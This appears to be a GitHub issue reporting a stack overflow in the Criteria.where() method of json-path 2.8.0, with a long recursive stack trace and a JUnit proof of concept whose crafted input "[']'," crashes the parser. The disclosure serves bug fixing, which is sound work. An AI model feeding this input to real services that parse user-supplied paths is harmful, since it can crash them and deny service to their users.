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Stack Overflow (Criteria.where()) #970

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Stack Overflow (Criteria.where())

Description

A stack overflow vulnerability exists in the Criteria.where() method in json-path 2.8.0. Specially crafted input can cause uncontrolled recursion, resulting in stack overflow.

Error Log

java.lang.StackOverflowError
	at com.jayway.jsonpath.internal.CharacterIndex.currentChar(CharacterIndex.java:41)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:133)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:143)
	at com.jayway.jsonpath.internal.path.PathCompiler.readPropertyOrFunctionToken(PathCompiler.java:256)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:153)
	at com.jayway.jsonpath.internal.path.PathCompiler.readBracketPropertyToken(PathCompiler.java:634)
	at com.jayway.jsonpath.internal.path.PathCompiler.readNextToken(PathCompiler.java:137)
	at com.jayway.jsonpath.internal.path.PathCompiler.readDotToken(PathCompiler.java:175)

PoC

<dependency>
<groupId>com.jayway.jsonpath</groupId>
<artifactId>json-path</artifactId>
<version>2.8.0</version>
</dependency>
import com.jayway.jsonpath.Criteria;
import org.junit.Test;
public class CriteriaFuzzerWhere1 {
    // Stack overflow
    @Test
    public void whereFuzzerTest() {
        try {
            Criteria result = Criteria.where("[']',");
        } catch (Exception e) {
        }
    }
}

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